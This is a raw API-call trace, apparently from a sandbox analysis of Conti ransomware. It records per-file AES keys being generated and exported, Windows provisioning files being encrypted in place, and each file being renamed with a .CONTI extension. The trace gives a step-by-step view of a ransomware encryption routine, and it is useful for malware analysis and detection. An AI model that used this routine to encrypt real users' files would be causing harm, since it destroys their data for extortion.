	[0113.678] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI"
	[0113.678] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\639__connections_cellular_mico-p - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\639__connections_cellular_mico-p - 3 (united kingdom)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0113.678] GetProcessHeap () returned 0x1720000
	[0113.678] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.678] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0113.678] GetProcessHeap () returned 0x1720000
	[0113.678] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b94c8 | out: hHeap=0x1720000) returned 1
	[0113.678] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0113.678] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d5678 | out: phKey=0x17d5678*=0x17c85b0) returned 1
	[0113.679] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d567c, pdwDataLen=0x50ff91c | out: pbData=0x17d567c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0113.679] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\640__connections_cellular_aql - 3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.679] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\640__connections_cellular_aql - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0113.680] GetLastError () returned 0x0
	[0113.680] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=716) returned 1
	[0113.680] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cc
	[0113.680] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.680] SetEndOfFile (hFile=0x378) returned 1
	[0113.680] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.680] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.680] WriteFile (in: hFile=0x378, lpBuffer=0x17d567c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17d567c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.684] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.684] ReadFile (in: hFile=0x378, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2cc, lpOverlapped=0x0) returned 1
	[0113.684] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2cc, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2d0) returned 1
	[0113.684] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.684] WriteFile (in: hFile=0x378, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.684] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.684] WriteFile (in: hFile=0x378, lpBuffer=0x17d5670*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17d5670*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0113.685] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.685] CloseHandle (hObject=0x378) returned 1
	[0113.685] GetProcessHeap () returned 0x1720000
	[0113.685] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.685] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0113.685] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.685] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\640__connections_cellular_aql - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\640__Connections_Cellular_AQL - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\640__connections_cellular_aql - 3 (united kingdom)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.686] GetProcessHeap () returned 0x1720000
	[0113.686] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.686] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0113.686] GetProcessHeap () returned 0x1720000
	[0113.686] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b98d0 | out: hHeap=0x1720000) returned 1
	[0113.686] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0113.686] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b432c0 | out: phKey=0x6b432c0*=0x17c8370) returned 1
	[0113.686] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b432c4, pdwDataLen=0x50ff91c | out: pbData=0x6b432c4*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0113.687] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\642__connections_cellular_aql - 3 (united kingdom)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0113.687] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\642__connections_cellular_aql - 3 (united kingdom)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0113.687] GetLastError () returned 0x0
	[0113.687] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=711) returned 1
	[0113.687] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c7
	[0113.687] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.687] SetEndOfFile (hFile=0x378) returned 1
	[0113.687] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.687] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.687] WriteFile (in: hFile=0x378, lpBuffer=0x6b432c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x6b432c4*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.689] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.689] ReadFile (in: hFile=0x378, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2c7, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2c7, lpOverlapped=0x0) returned 1
	[0113.689] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2c7, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2d0) returned 1
	[0113.689] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.689] WriteFile (in: hFile=0x378, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.689] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.689] WriteFile (in: hFile=0x378, lpBuffer=0x6b432b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x6b432b8*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0113.689] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.689] CloseHandle (hObject=0x378) returned 1
	[0113.690] GetProcessHeap () returned 0x1720000
	[0113.690] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.690] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml"
	[0113.690] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml.CONTI"
	[0113.690] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\642__connections_cellular_aql - 3 (united kingdom)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\642__Connections_Cellular_AQL - 3 (United Kingdom)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\642__connections_cellular_aql - 3 (united kingdom)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0113.690] GetProcessHeap () returned 0x1720000
	[0113.690] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.690] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0113.690] GetProcessHeap () returned 0x1720000
	[0113.691] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b9f88 | out: hHeap=0x1720000) returned 1
	[0113.691] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0113.691] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b52958 | out: phKey=0x6b52958*=0x17c85b0) returned 1
	[0113.691] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5295c, pdwDataLen=0x50ff91c | out: pbData=0x6b5295c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0113.691] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\643__connections_cellular_aql - 3 (united kingdom)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0113.692] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\643__connections_cellular_aql - 3 (united kingdom)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0113.692] GetLastError () returned 0x0
	[0113.692] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=711) returned 1
	[0113.692] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c7
	[0113.692] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.692] SetEndOfFile (hFile=0x378) returned 1
	[0113.692] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.692] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.692] WriteFile (in: hFile=0x378, lpBuffer=0x6b5295c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x6b5295c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0115.027] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.027] ReadFile (in: hFile=0x378, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2c7, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2c7, lpOverlapped=0x0) returned 1
	[0115.029] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2c7, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2d0) returned 1
	[0115.029] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.029] WriteFile (in: hFile=0x378, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2d0, lpOverlapped=0x0) returned 1
	[0115.030] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.030] WriteFile (in: hFile=0x378, lpBuffer=0x6b52950*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x6b52950*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0115.030] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.030] CloseHandle (hObject=0x378) returned 1
	[0115.534] GetProcessHeap () returned 0x1720000
	[0115.534] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6870850
	[0115.534] lstrcpyW (in: lpString1=0x6870850, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml"
	[0115.535] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml.CONTI"
	[0115.535] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\643__connections_cellular_aql - 3 (united kingdom)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\643__Connections_Cellular_AQL - 3 (United Kingdom)_i3$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\643__connections_cellular_aql - 3 (united kingdom)_i3$(__mvid)@wap.provxml.conti")) returned 1
	[0117.023] GetProcessHeap () returned 0x1720000
	[0117.023] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6870850 | out: hHeap=0x1720000) returned 1
	[0117.035] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0117.035] GetProcessHeap () returned 0x1720000
	[0117.035] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ba4e8 | out: hHeap=0x1720000) returned 1
	[0117.035] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0117.037] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b50968 | out: phKey=0x6b50968*=0x6b7f0f8) returned 1
	[0117.037] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5096c, pdwDataLen=0x50ff91c | out: pbData=0x6b5096c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0117.048] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp" (normalized: "c:\\programdata\\microsoft\\windows defender advanced threat protection\\temp")) returned 0x10
	[0117.048] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp" (normalized: "c:\\programdata\\microsoft\\windows defender advanced threat protection\\temp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0117.048] GetLastError () returned 0x5
	[0117.048] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0117.048] GetProcessHeap () returned 0x1720000
	[0117.048] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f610 | out: hHeap=0x1720000) returned 1
	[0117.048] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0117.048] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b524c8 | out: phKey=0x6b524c8*=0x6b7f0f8) returned 1
	[0117.048] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b524cc, pdwDataLen=0x50ff91c | out: pbData=0x6b524cc*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0117.049] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\confident.cov")) returned 0x20
